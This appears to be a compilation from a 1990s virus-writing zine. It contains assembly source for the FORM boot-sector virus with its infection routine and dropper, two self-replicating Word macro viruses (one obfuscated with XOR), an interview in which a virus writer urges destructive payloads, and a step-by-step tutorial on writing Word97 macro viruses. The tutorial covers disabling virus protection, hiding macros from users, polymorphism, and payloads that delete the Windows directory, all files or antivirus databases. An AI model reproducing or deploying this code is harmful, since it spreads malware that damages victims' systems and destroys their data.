mov     si,offset buffer        ; buffer contains original BS

mov     di,offset bpb           ; DI points to "our" bpb now

add     si,di                   ; SI points to victim's bpb

mov     cx,3Ch                  ; length of bpb

cld                             ; Clear direction

rep     movsb                   ; copy victim's bpb to our's

xor     si,si                   ; SI=0 (start of code)

mov     di,offset buffer        ; DI=offset buffer

mov     cx,0FFh                 ; length of code for 1st sector

rep     movsw                   ; copy virus code to buffer

mov     word ptr [di],0AA55h    ; add a boot sector signature

retn                            ; return to caller

create_vir_BS   endp

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß

;                              SUBROUTINE

;

; calculates the number of the reserved sectors (boot sector, FATs and main

; directory) and the number of clusters on a floppy disk from the data

; in the BPB and stores it in the variables res_sector and clusters.

;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

get_floppy_info proc    near

mov     bx,main_entries         ; entries in the main dir

mov     cl,4                    ; one dir entry = 32 bytes

shl     bx,cl                   ; bh=sectors of main dir

mov     ax,sec_per_FAT          ; sectors per FAT

mul     FATs                    ; multiply with number of FATs

add     al,bh                   ; AL=sectors in FATs

inc     ax                      ; add Bootsector

mov     res_sectors,ax          ; number of reserved sectors

mov     bx,sectors              ; all sectors on volume

sub     bx,ax                   ; BX=number of data sectors

mov     cl,sec_per_cluster      ; CL=sectors per cluster

dec     cx                      ; CL=CL-1

shr     bx,cl                   ; BX=number of clusters

mov     clusters,bx             ; store it

retn                            ; return to caller

get_floppy_info endp

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß

;                              SUBROUTINE

;

; Searches the FAT for a free cluster and marks it as bad in all copies of

; the FAT. Please note that it deals only with 12 bit FATs, as they are

; found on all floppy disk formats

;

; Return:

;       AX - number of the sector. needs to be converted by the subroutine

;            sector_address for further use.

;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

find_sector     proc    near

mov     cx,2                    ; first sector of FAT

mov     di,8                    ; DI=number of FAT entry

mov     si,0Fh                  ; SI=memory index of FAT entry

mov     bx,offset buffer        ; ES:BX=far ptr read buffer

xor     dh,dh                   ; side=0 (FAT)

read_FAT_sectors:

mov     ax,202h                 ; read two sectors

pushf

call    org_int13h_vect         ; fake int 13h call

jc      error_exit_find_sector  ; if error, then exit

go_on_search_FAT:

test    word ptr [bx+si],0FFFh  ; empty cluster?

jnz     search_next_entry       ; search the next entry

or      word ptr [bx+si],0FF7h  ; mark this cluster as bad

jmp     short found_free_cluster; quit searching

search_next_entry:

inc     si                      ; next byte in FAT

inc     di                      ; next FAT entry

cmp     di,clusters             ; already searched whole FAT?

jae     error_exit_find_sector  ; nothing found, so quit

test    word ptr [bx+si],0FFF0h ; empty cluster?

jnz     search_next_entry_2     ; search the next entry

or      word ptr [bx+si],0FF70h ; mark cluster as bad

jmp     short found_free_cluster; quit searching

search_next_entry_2:

add     si,2                    ; 2*12 bits = 3 bytes

inc     di                      ; next FAT entry

cmp     di,clusters             ; already searched whole FAT?

jae     error_exit_find_sector  ; nothing found, so quit

cmp     si,200h                 ; finished one sector of FAT?

jb      go_on_search_FAT        ; if not, go on with searching

sub     si,200h                 ; reset memory  index

inc     cx                      ; get next sector

jmp     short read_FAT_sectors  ; read the next sector in

found_free_cluster:

mov     al,FATs                 ; number of FATS

mov     FAT_counter,al          ; store as loop counter

FATs_loop:

mov     ax,302h                 ; write two sectors

cmp     si,1FFh                 ; do we need a second sector?

je      read_two_sectors        ; if so, al=2 is OK

dec     ax                      ; else we write just 1 sector

read_two_sectors:

pushf

call    org_int13h_vect         ; fake int13h call

jc      error_exit_find_sector  ; if error, exit subroutine

add     cl,byte ptr sec_per_FAT ; write next FAT

dec     cx                      ; count sectors from 0

mov     ax,cx                   ; div sector number by

div     byte ptr sec_per_track  ; the sectors per track

mov     cl,ah                   ; sector number is modulo

mov     dh,al                   ; head is div

inc     cx                      ; count sectors from 1, as

; it is the normal case

dec     FAT_counter             ; was it the last FAT?

jnz     FATs_loop               ; update all FATs

mov     ax,di                   ; DI=cluster number

mov     cl,sec_per_cluster      ; sectors per cluster

dec     cx

shl     ax,cl                   ; convert AX to sectors

add     ax,res_sectors          ; add reserved sectors

clc                             ; subroutine was successful

retn                            ; return to caller

error_exit_find_sector:

stc                             ; indicate error

retn                            ; return to caller

find_sector     endp

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß

;                              SUBROUTINE

;

; calculates the CHS-address of a sector (disk, cylinder, head, sector) from

; its number.

;

; parameters:

;       AX      - number of sector on disk

;

; return:

;       CX / DX - disk / cylinder / head / sector address of sector

;                 (standart format, as needed for int 13h)

;

;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sector_address  proc    near

mov     bl,byte ptr sec_per_track ; sectors per track

mov     bh,bl

mov     cl,byte ptr heads       ; number of heads

dec     cx

shl     bl,cl                   ; bl=sectors_per_track*heads

div     bl                      ; divide sector number by bl

mov     ch,al                   ; track=sector_number/bl

xor     dh,dh                   ; side 0

cmp     ah,bh                   ; ah=reminder=sector number

jb      side_0                  ; if sector_number is less

; than sectors_per_track, ok

sub     ah,bh                   ; otherwise fix it, it's on

mov     dh,1                    ; side 1

side_0:

inc     ah

mov     cl,ah                   ; sector number=reminder

retn                            ; return to caller

sector_address  endp

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß

;                              SUBROUTINE

;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

infect          proc    near

push    ax                      ; save registers

push    bx

push    cx

push    dx

push    si

push    di

push    es

push    ds

push    cs                      ; DS=CS

pop     ds

push    cs                      ; ES=CS

pop     es

mov     bx,offset buffer        ; ES:BX=far ptr read buffer

xor     dh,dh                   ; dh=0 (head)

mov     cx,3                    ; if error, retry three times

retry_read:

push    cx                      ; save CX

mov     ax,201h                 ; read one sector

mov     cx,1                    ; read floppy boot sector

pushf

call    org_int13h_vect         ; fake call to original int13h

pop     cx                      ; restore CX

jnc     read_successful         ; if no error, continue

loop    retry_read              ; Loop if cx > 0

quit_infection:

jmp     exit_infection

read_successful:

cmp     marker[bx],0FE01h       ; already infected?

je      quit_infection          ; if so, quit infection

cmp     word ptr [bx+0Bh],200h  ; 512 bytes per sector?

jne     quit_infection          ; if not, then quit infection.

call    create_vir_BS           ; copy BPB to our data area

call    get_floppy_info         ; calculate reserved sectors

; and number of clusters

call    find_sector             ; find a free sector for the

; second part of our code

jc      exit_infection          ; if error, exit infection

push    ax                      ; save sector number

call    sector_address          ; make a CHS triplett

mov     code_2nd_CX,cx          ; store this sector address

mov     code_2nd_DX,dx          ; for later use

pop     ax                      ; restore sector number

inc     ax                      ; increase it

cmp     sec_per_cluster,2       ; one cluster=two sectors?

je      cluster1024             ; if yes, we can use the

; 2nd sector of the cluster

call    find_sector             ; find another free sector for

; the original boot sector

jc      exit_infection          ; if error, exit infection

cluster1024:

call    sector_address          ; make a CHS triplett

mov     org_BS_CX,cx            ; store the sector address

mov     org_BS_DX,dx            ; for later use

mov     ax,201h                 ; read one sector

mov     bx,offset buffer        ; ES:BX=far ptr to read buffer

mov     cx,1                    ; read floppy boot sector

xor     dh,dh                   ;   "     "     "     "

pushf

call    org_int13h_vect         ; fake call to original int13h

jc      exit_infection          ; if error,then quit infection

; store original boot sector

mov     ax,301h                 ; write one sector

mov     cx,org_BS_CX            ; sector address was

mov     dx,org_BS_DX            ; calculated before

mov     byte ptr org_BS_DX,0    ; save drive=0, if the virus

; gets active when booted from

; the disk, the other needed

; sectors are also here

pushf

call    org_int13h_vect         ; fake call to original int13h

jc      exit_infection          ; if error,then quit infection

; write second part of virus

mov     ax,301h                 ; write one sector

mov     bx,1FEh                 ; ES:BX=far ptr buffer

mov     cx,code_2nd_CX          ; sector address was

mov     dx,code_2nd_DX          ; calculated before.

mov     byte ptr code_2nd_DX,0  ; save drive=0, see above

pushf                           ; Push flags

call    org_int13h_vect

jc      exit_infection          ; Jump if carry Set

call    create_vir_BS           ; create a valid viral BS

mov     bx,offset buffer        ; ES:BX=far ptr write buffer

mov     ax,301h                 ; write one sector

mov     cx,1                    ; write to floppy boot sector

xor     dh,dh                   ;   "    "    "     "     "

pushf

call    org_int13h_vect         ; fake call to original int13h

exit_infection:

pop     ds                      ; restore saved registers

pop     es

pop     di

pop     si

pop     dx

pop     cx

pop     bx

pop     ax

retn                            ; return to caller

infect          endp

; ------------- int 13h handler ---------------------------------------------

new_int13h_handler:

cmp     dl,80h                  ; hard disk?

jae     exit_int13h_hook        ; only infect if floppy

cmp     ah,2                    ; read?

jne     exit_int13h_hook        ; if not, exit

cmp     ch,0                    ; cylinder=0 ?

jne     exit_int13h_hook        ; if not, exit

call    infect

exit_int13h_hook:

jmp     cs:org_int13h_vect      ; go to original int routine

; ------------- int 9h handler ----------------------------------------------

new_int9h_handler:

push    ax                      ; save AX

in      al,61h                  ; port 61h, 8255 port B, read

mov     ah,al

or      al,3

out     61h,al                  ; port 61h, 8255 B - spkr, etc

push    cx                      ; save CX

mov     cx,1000h

delay_loop:

loop    delay_loop              ; do 1000h times nothing

pop     cx                      ; restore CX

mov     al,ah

out     61h,al                  ; port 61h, 8255 B - spkr, etc

;  al = 0, speaker off

pop     ax                      ; restore AX

jmp     cs:org_int9h_vect       ; go to original int routine

; ------------- Some internal messages --------------------------------------

db      "The FORM-Virus sends greetings to everyone who's reading this text."

db      "FORM doesn't destroy data! Don't panic! Fuckings go to Corinne."

buffer          db 512 dup(0)                   ; read/write buffer

; ------------- dropper program ---------------------------------------------

dropper:

push cs

pop ds

call infect_HD

mov ah, 9

mov dx, offset message

int 21h

mov ax, 4C00h

int 21h

message         db "the Form.A boot virus was installed on your first HD.", 0Dh, 0Ah, "$"

end     dropper


Class.Beg_to_Differ by jackie twoflower
Class.Beg to differ by jackie twoflower

Class.Beg to differ

Private Sub Document_Open() '

Dim v(200): Options.VirusProtection = (Rnd * 0): Options.SaveNormalPrompt = (Rnd * 0) '

Set a = MacroContainer.VBProject: Set ab = a.VBComponents(1) '

Set abc = ab.CodeModule: Set s = NormalTemplate: t = Chr(39) '

If MacroContainer = s Then Set s = ActiveDocument '

Set nh = s.VBProject.VBComponents(1).CodeModule: li = abc.countoflines: y = 100 + Int(Rnd * 50) '

For i = 1 To li: jc = "": d = Int(Rnd * 3): p = InStr(abc.Lines(i, 1), t) '

If p = 1 And li > y Then '

d = 1: GoTo n_ '

End If '

l = UCase(Left(abc.Lines(i, 1), (p - 1))) '

For o = 1 To Len(l): f = Mid(l, o, 1) '

If Asc(f) < 90 And Asc(f) > 65 Then f = Chr(Asc(f) + Int(Rnd * 2) * 32) '

v(i) = v(i) & f: Next o '

For j = 1 To Int(75 - (Rnd * 20)): jc = jc & Chr(255 - Int(Rnd * 100)): Next j '

v(i) = v(i) & t & jc '

If d = 2 Then v(i) = v(i) & vbCr & t & jc '

vc = vc & v(i) & vbCr '

n_: '

Next i '

If nh.countoflines < (1 + 1 + 2) Then '

nh.deletelines 1, nh.countoflines: nh.addfromstring vc: nh.deletelines nh.countoflines, 1 '

If s = ActiveDocument Then ActiveDocument.SaveAs ActiveDocument.FullName '

If Day(Now()) = 16 Then beg_to_differ '

End If '

End Sub '

Private Sub beg_to_differ() '

beg = "do you see what I see?" & vbCr '

beg = beg & "do you hear what I hear?" & vbCr '

beg = beg & "do you feel what I feel?" & vbCr '

beg = beg & "do you ever care?" & vbCr '

beg = beg & "I...beg to differ!" & vbCr '

beg = beg & "beg to differ!" & vbCr & vbCr '

beg = beg & "jackie twoflower/Lz0NT/MVT" '

MsgBox beg, 0, "class.beg to differ" '

End Sub '

Rem Dedicated to Darkman/29A '


Class.Slagehammer by jackie twoflower

Class.Slagehammer

Private Sub Document_Open()

Dim jackie(15) As String

jackie(1) = "Øù·Òååøå·Åòäâúò·Ùòïã­·Äòã·ò·ª·ÚöôåøÔøùãöþùòå­·ã·ª·¦"

jackie(2) = "ÄòãÖããå·ÙøåúöûÃòúçûöãò¹ÑâûûÙöúò»·áõÙøåúöû"

jackie(3) = "Äòã·à·ª·ò¹ÁÕÇåøýòôã­·Øçãþøùä¹ÁþåâäÇåøãòôãþøù·ª·¿Åùó·½·§¾­·Øçãþøùä¹ÄöáòÙøåúöûÇåøúçã·ª·¿Åùó·½·§¾"

jackie(4) = "Äòã·û·ª·à¹ÁÕÔøúçøùòùãä¿ã¾­·Äòã·ð·ª·û¹ÔøóòÚøóâûò"

jackie(5) = "Äòã·ä·ª·ÙøåúöûÃòúçûöãò­·Äòã·ãÿ·ª·ä¹ÁÕÇåøýòôã¹ÁÕÔøúçøùòùãä¿ã¾¹ÔøóòÚøóâûò"

jackie(6) = "õ·ª·ð¹ûþùòä¿ã»·¥¡¾·±·áõÔå·±·ð¹ûþùòä¿£¤»·¦¾"

jackie(7) = "Þñ·ò·ª·ä·Ãÿòù"

jackie(8) = "Äòã·ä·ª·ÖôãþáòÓøôâúòùã­·Äòã·ãÿ·ª·ä¹ÁÕÇåøýòôã¹ÁÕÔøúçøùòùãä¿ã¾¹ÔøóòÚøóâûò"

jackie(9) = "Òùó·Þñ"

jackie(10) = "Þñ·ãÿ¹ûþùòä¿ã»·ã¾·ª·§·Ãÿòù"

jackie(11) = "ãÿ¹ÓÒûÒãòÛÞùòÄ·ã»·ãÿ¹ôØâùãøñÛÞùÒä­·ãÿ¹ÖóóÑåøúÄãåþùð·õ"

jackie(12) = "Òùó·Þñ"

jackie(13) = "ÃÿþäÓøôâúòùã¹ÁÕÇåøýòôã¹ÁÕÔøúçøùòùãä¿ã¾¹ÔøóòÚøóâûò¹ÓÒûÒãòÛÞùòÄ·¥ »·¦¡"

jackie(14) = "Þñ·Óöî¿Ùøà¿¾¾·ª·¿Þùã¿Åùó·½·¦¢¾¾·Ãÿòù·ÚäðÕøï·µÔþöø·Äûöðòÿöúúòå¶·Ôøúò·äãöþ¨µ»·§»·µÔûöää¹Äûöðòÿöúúòå·ë·ýöôü·ãàøñûøàòå·¸·ÛþùòÍòå§·¸·Úòãöçÿöäòµ"

jackie(15) = "ÖôãþáòÓøôâúòùã¹ÄöáòÖä·ÖôãþáòÓøôâúòùã¹ÑâûûÙöúò"

For y = 1 To 15: V = V & dc(jackie(y), 151) & vbCr: Next

If ThisDocument.VBProject.VBComponents(1).CodeModule.lines(28, 1) = "" Then ThisDocument.VBProject.VBComponents(1).CodeModule.InsertLines 27, V

differ

End Sub

Private Function dc(a, e)

For i = 1 To Len(a): t = t & Chr(Asc(Mid(a, i, 1)) Xor e): Next i

dc = t

End Function

Private Sub differ()

End Sub

' Dedicated to Slagehammer!!!


Interview with Owl[FS] by Raven

'>' is Raven

No '>' is Owl[FS]

>Who are you? Tell us about yourself.

Who am I?  I know who I am, the question is, do you know who you are?  What do you mean you don't know who I am?  I'm OwlFS!

>Where did you get your handle?

Owl + Feathered Serpent = OwlFS.  Yes, that is my name now.  I am not Owl of Feathered Serpents, I am Owl - Feathered Serpent, or OwlFS.

>Are you part of any VX groups?

VX Group.  Hehe, no, we don't exchange viruses.  We revolutionise virus creation.  FS.

>How long have you been part of the virus scene?

7 years, give or take a year.  I don't know when I actually 'became part of the scene'.

>How did you started programming virii?

With a stupid, stupid book by the man that wrote Vienna.  I typed it in with DEBUG.EXE, and that started my whole career.  Then I had a disk with stoned, then I read the good old tutorials by Dark Angel and VLAD, and then wrote my first virus in A86.

>What was your first virus?

It was called Toilet Bowl, back in the days of Horde and KDKD.  Horde endlessly gave me disrespect because I was using "MOV AX, OFFSET WHOOTIES" then "ADD AX, BP", instead of "LEA AX, [WHOOTIES+BP]".  I deserved it, fixed it all, and released.  There's a bug or

two in the virus, as well ;)  The anti-debugger code doesn't work exactly as I expected it to, though it did work [not on Pentiums though].

>Are there any individuals or what groups do you respect out of the VX/AV scene?

Amnesty International.  Nothing is more important than Human Rights.  Doesn't mean that I know they are doing their job, but at least their cause is right and just.  People like GreenPeace are really wasting our money, fighting the results of a problem but not the cause.  And the cause of problems?  Capitalism.

I didn't say there was a solution, yet, either.

>Which programming languages do you know and/or use the most?

Assembly, learning Java [only so I can be just like Landing Camel!].

>What's your views on Macro/HLL virii vs. Assembly virii?

There is no vs.  Viruses are viruses, all should be protected, nurtured, loved.  In a world where virus engineers are hated by society, branded as criminals, living in the fear of FBI raids and false accusations [*coughMelissacough*], we all need to look

after each other, regardless of how we express our inner viral desires.

>What do you think of destructive payloads in virii?

Do it, you don't really, truly believe that your virus is going to spread in the wild anyway, do you?

>Where do you think the virus scene is going?

Down.  Read my ComeBack.Direct.Win32 virus in this issue.  Seriously, if anyone in the scene REALLY cared about what they were doing, wouldn't they all have put an effort into fixing this problem yet?  Nobody notices outside the FS Alliance, nobody cares, and that's what the scene is all about.  It's shit.

>What advice would you give new virus programers?

They can read my mind, so, meow meow meow meow meow.  Apart from that, yes, the scene is bullshit, most groups out there are bullshit, your heroes in the scene are rejects and why are you writing viruses anyway?

You probably won't put any REAL effort into making your viruses.  Sure, you'll strive for a year or two, write a virus, read some more tutorials, write some tutorials, and retire the scene thinking you've done something.

You haven't done SHIT.  Wait and see what FS does.  If PCs are still working when it

happens... ;)

>What are your future plans?

I can't tell you, except that it all has to do with FS ;)  If you really, really want to know, if you need to know, then watch carefully the membership of FS, and try to work it out from that.  We have some big people joining at the moment...

>Do you have any other comments?

People in the scene really should learn to look after each other.  When is all of the fighting and superiority bullshit going to disappear?  I'll tell you when.  It'll be when the idiots who are into the scene for fun, or hobbies, FUCK OFF.

Woven through 'the' virus scene of bullshit, is the real people pulling the strings. People who care about the virus itself, regardless of what form it comes in, and is not interested in the little tweaks people do, but more in the big picture of the way in which the virus itself IS.

>Thank you for your time from myself and Metaphase.

Thanks.  *Steps down from soapbox*.  Greetings to everyone really important in the scene underneath the scene.


Word97 Macro Viruses Tutorial by ULTRAS

Introduction

 ~~~~~~~~~~~~

 Here we will speak little of infections under word97 and any stunts which possible realize

 on him. Many consider that write the virus under word97 much in a complicated way, this not

 so viruses on word97 much easy write. Having Read attentively this tutorial you fast whole

 are able to write the light virus on word97.

 Infecting under Word97

 ~~~~~~~~~~~~~~~~~~~~~~

 Exists several way of contamination we will analyse the pair. To infect we must with

 beginning to choose macros contamination:

 AutoOpen  - this macros infects at opening of document

 AutoClose - this macros infects the document when closing

 AutoExec  - this macros infects at opening of word processor of document

 AutoNew   - this macros infects the new document when making

 FileSave  - this macros at infects of active saving document

 And many other simply their enough so much and I did not become their all enumerate.

 After you have chosen the names your macros (you may place in virus several macros) will

 begin to write the virus

 First method of infecting

 +++++++++++++++++++++++++

 This be first method of contamination, method not much that big and suitable for use.

 At activations (the openings) virus copies its module in file "c:\test.sys" and checks

 presence of its module if that no import its from file "c:\test.sys".

 Sub AutoOpen()

 'contamination will occur at opening

 On Error Resume Next

 'If error to go to next command

 Application.ScreenUpdating = False

 'not to give to show messages

 Options.VirusProtection = False

 'Switch Off built-in checking for viruses

 Options.SaveNormalPrompt = False

 'Forbid Conservation in Normal.dot

 Application.VBE.ActiveVBProject.VBComponents("SOS").Export "c:\sos.sys"

 'export our virus code to a file on the hard drive

 For I = 1 To NormalTemplate.VBProject.VBComponents.Count

 If NormalTemplate.VBProject.VBComponents(I).Name = "SOS" Then GInstall = True

 Next I

 'We will Test For presence of our virus in normal.dot

 For I = 1 To ActiveDocument.VBProject.VBComponents.Count

 If ActiveDocument.VBProject.VBComponents(I).Name = "SOS" Then DInstall = True

 Next I

 'We will Check if our virus in active document

 If DInstall = True And GInstall = False Then Set Virii = NormalTemplate.VBProject _

 Else If DInstall = False And GInstall = True Then Set Virii = ActiveDocument.VBProject

 'well if document not polluted import our virus from saved by virus of file

 With Virii

 With .VBComponents.Import("c:\sos.sys") 'we import viral file and infect

 End With

 End With

 If DInstall = False Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, _

 FileFormat:=wdFormatDocument

 'we save that all there was well

 End Sub

 ' well here is and all

 Second method of infecting

 ++++++++++++++++++++++++++

 This be one of the the most popular ways. When closing the polluted document a virus checks

 if its module in document and normal.dot if no, that infects its. The Way of infecting very

 light, especial for beginning.

 Sub AutoClose()

 'If error to go to next command

 On Error Resume Next

 'on no need to update screen

 Application.ScreenUpdating = False

 'not to give to show messages

 Application.DisplayAlerts = wdAlertsNone

 'disconnect built-in checking for viruses

 Options.VirusProtection = False

 'change words, all has fitted

 Set ActiveDoc = ActiveDocument

 Set GlobalDoc = NormalTemplate

 'document not infect

 DocumentInstalled = False

 'pattern not infect

 GlobalInstalled = False

 For U = 1 To ActiveDocument.VBProject.VBComponents.Count 'assign parameters U

 'check document on presence a modula of virus, if found that then

 If ActiveDocument.VBProject.VBComponents(U).Name = "SOS" Then

 DocumentInstalled = True 'consider that document infect

 End If 'will close operation of check

 Next 'continue actions

 For T = 1 To NormalTemplate.VBProject.VBComponents.Count 'assign parameters T

 'check pattern on presence a modula of virus, if found that then

 If NormalTemplate.VBProject.VBComponents(T).Name = "SOS" Then

 GlobalInstalled = True 'consider that pattern infect

 End If 'will close operation of check

 Next 'will continue

 'if testing has shown that document not polluted, will infect its

 If DocumentInstalled = False Then

 'Copy Module of virus in document

 Application.OrganizerCopy Source:=NormalTemplate.FullName, _

 Destination:=ActiveDocument.FullName, Name:="SOS", _

 Object:=wdOrganizerObjectProjectItems

 ActiveDoc.SaveAs filename:=ActiveDoc.Name, FileFormat:=wdFormatTemplate

 End If 'terminate infecting a document

 'if testing has shown that pattern not polluted, will infect its

 If GlobalInstalled = False Then

 'Copy Module of virus in pattern

 Application.OrganizerCopy Source:=ActiveDocument.FullName, _

 Destination:=NormalTemplate.FullName, Name:="SOS", _

 Object:=wdOrganizerObjectProjectItems

 Options.SaveNormalPrompt = False

 End If 'terminate infecting a document

 'now that wants show

 Application.DisplayAlerts = wdAlertsAll

 End Sub

 I has shown only two ways of contamination, other more complex in next tutorial I VWXbe

 taken aback all ways their around five.

 Polymorphic

 ~~~~~~~~~~~

 Many should like to write polymorphic for its macro virus but nothing was not got and they

 threw this occupation. Polymorphic to write enough easy if only well think and find the

 interesting idea.

 First polymorphic there was APMRS (Advanced Polymorphic Macro Replication System) its

 authorthere was Pyro, this polymorphic with my standpoint very powerful and interesting it

 insert in module of virus different letters as commentary and obstruct its searching for.

 Afterwards appear else two polymorphic (VSMP) by VicodinES and my polymorphic (UMP).

 In given tutorial I will show its polymorphic but you try to create its or remake

 my polymorphic well as beside you to be. And so UMP (ULTRAS MACRO POLYMORPHIC) works much

 easy, polymorphic generates the numerals and inserts them in module of virus.

 That it work necessary to do call of type on it:

 Sub AutoOpen()

 ............. - code a virus

 Call UMP

 ............. - code a virus

 Call UMP

 End Sub

 Thereby under auto openings your virus will include polymorphic so possible do nearly

 with all macros. Below I has shown on example its polymorphic.

 Sub UMP()

 'We Generate number not more 33 if you want can do as you please for instance 40

 PoNu = Int(Rnd() * 33 + 1)

 'From 1 before 33 this how many times we will repeat procedure

 For Mutate = 1 To PoNu

 'We Generate line in module UMP

 PoRL = Application.VBE.ActiveVBProject.VBComponents("UMP").CodeModule.CountOfLines

 'We Generate line in which shall write procedure

 PoLi = Int(Rnd() * PoRL + 1)

 'Generate numerals you are able to substitute its numerals and its amount of

 'generators number

 a = Rnd * 455: b = Rnd * 80: c = Rnd * 160: d = Rnd * 180: e = Rnd * 49

 'With Generate amount numbers we copy in module of virus and will place in

 'different lines

 Application.VBE.ActiveVBProject.VBComponents("UMP").CodeModule.InsertLines PoLi, vbTab & _

 'But we insert in viral module of that numeral which were got

 "' " & a & vbTab & b & vbTab & c & vbTab & d & vbTab & e

 'we will repeat once again only on other line

 Next Mutate

 'here is and whole polymorphic

 End Sub

 Well now you know approximately as polymorphic works and how write, now you remain only to

 think and write its polymorphic.

 Stealth

 ~~~~~~~

 Much easy write stealth virus for word97, ensemble of ways there is stealth and we will

 speak of most light of them. To do our virus stealth to us necessary to is necessary not to

 give any user to find our virus and signifies to forbid call an macros:

 ToolsMacro

 ViewVBCode

 FileTemplates

 ToolsCustomize

 When performing these macros possible to place the message for stupid users of type

 "Not enough memory to perform this operation" or erase all in macros and leave its started

 possible to delete its from menu and other tricks.

 'names macros, I simply not want write four

 Sub ToolsMacro()

 'here possible place from link with your polymorphic before contamination in the same way

 'possible place password and another

 End Sub

 Removing links from menu. This method works at all english word97 beside me for instance

 in russian word97 it did not work so see good this method. But you are able to use two

 methods first and here is this then you will exactly are certain that your virus stealth.

 CommandBars("tools").Controls("Macro").Delete

 CommandBars("tools").Controls("Customize...").Delete

 CommandBars("tools").Controls("Templates and add-ins...").Delete

 Here is one more method I its use in their own viruses, the message appears when start

 the viewing an macros about mistake and is closed the document.

 Sub ViewVBCode()

 'if error to continue

 On Error Resume Next

 'message for stupid user

 steMes = "Not enough memory to perform this operation"

 'this that our message had three buttons

 steMsgType = vbCritical + vbOKCancel + vbMsgBoxHelpButton

 'all will together get full message

 message = MsgBox(steMes, steMsgType, "Microsoft Word")

 'if user will press buttons ok and Cancel virus will close document

 If vbOKCancel Then

 'we close document

 Documents.Close

 End If

 'end!

 End Sub

 Well here is most important about stealth virus for word97 now you to is necessary only

 write in virus.

 Payload

 ~~~~~~~

 I seem that payload this one of the the most main parts of virus so we will speak of most

 interesting as their install and use. For begin to install payload its is necessary put

 (deliver) so it operate supplied by you time. You for instance want to your payload operate

 at may:

 If Month(Now()) = 5 Then 'if fifth month this may

   ' here your payload

 End if 'end procedure

 So possible do with any daytime or month here is you table that in possible word,excel and

 others.

 If Minute(Now()) = ? Then() 'where ? = any Minute

 If Hour(Now()) = ? Then     'where ? = any Hour

 If Day(Now()) = ? Then      'where ? = any Day

 If Weekday(Now()) = ? Then  'where ? = any Weekday

 If Month(Now()) = ? Then    'where ? = any Month

 If Year(Now()) = ? Then     'where ? = any Year

 In the same way possible do to for instance generation minute:

 MiG = Int(Rnd() * 60) + 1 'generated minute payload

 If Minute(Now()) = MiG Then 'we will get minute if they have coincided

 'we execute your payload

 End if 'end procedure

 Now when you know how install time for payload, will go to most interesting. And so the

 most speak about most forgiving payload.

 This payload much idle time we put the password (User initials) on document what user not

 even think that on document cost stand`s the password with its initials.

 ActiveDocument.Password = "" & Application.UserInitials

 ActiveDocument.Save

 In the same way possible do with its name, but beside some user very greater name and

 thereof password can not be fixed.

 ActiveDocument.Password = "" & Application.UserName

 ActiveDocument.Save

 Possible simply put (deliver) your password without all difficulties:

 ActiveDocument.Password = "SOS" 'put any password

 ActiveDocument.Save

 All who use word97 saw assistants, which is disturbed always for instance if you want that

 it gave your information that this possible do so:

 Assistant.Visible = True

 With Assistant.NewBalloon

  .Text = "Word97 Macro Viruses" 'Here is necessary insert your text

  .Heading = "ULTRAS"	 'Here headline

  .Animation = msoAnimationEmptyTrash 'This animation which will produce assistent

  .Show

 End With

 Interesting payload possible to do using api functions. Below idle time payload is

 described with use api functions windows, this function deletes you is \chose directory.

 'api function windows deleting a directory

 Public Declare Function RemoveDirectory Lib "kernel32" Alias "RemoveDirectoryA" _

 (ByVal lpPathName As String) As Long

 'we indicate what directory we shall destroy (I for example has taken dir Windows)

 WinFuck = RemoveDirectory("C:\Windows")

 This too much idle time payload with use api functions, changes the name of computer.

 'api function windows changes the name of computer.

 Declare Function SetComputerName Lib "kernel32" Alias "SetComputerNameA" _

 (ByVal lpComputerName As String) As Long

 'here we insert new name of computer

 coMpNamE = SetComputerName("SOS")

 Well this last payload connected with api functions about which I will tell in this

 tutorial. This payload uses api functions windows it changes mark of disk.

 'api function windows changes mark of disk.

 Declare Function SetVolumeLabel Lib "kernel32" Alias "SetVolumeLabelA" _

 (ByVal lpRootPathName As String, ByVal lpVolumeName As String) As Long

 'we indicate disk and mark to which we want to change

 DiSk = SetVolumeLabel("C:\", "SOS")

 And so go to most current subject a deleting the files or use the command "KILL". In many

 viruses it is used I will show vapour (pair) of ways for what it can be useful. As this

 command to use:

 Kill "C:\autoexec.bat" 'you should indicate full way to file and its name in quotes

 Above cited an instance deletes the file autoexec.bat on disk C:\

 Here is one more example:

 Kill "*.*" 'deletes all files in current directory

 In the same way this command possible to use for deleting AntiVirus:

 Kill "C:\Program Files\AntiViral Toolkit Pro\*.avc" 'we destroy bases AVP :)

 This possible do with any AntiVirus, you only to is necessary insert the full way to file

 and AV is deleted. But some clever user`s put AV in other catalogues and this way does not

 play important role. So with command KILL possible plenty of possibilities and lead it

 in action.

 Please forgive me if that there was not understandable end this tutorial I wrote after

 two banks of beer. In next tutorial we will speak in more detail but polymorhic, payload

 and methods of infected.

 ULTRAS 1998


Word97 Payload by ULTRAS

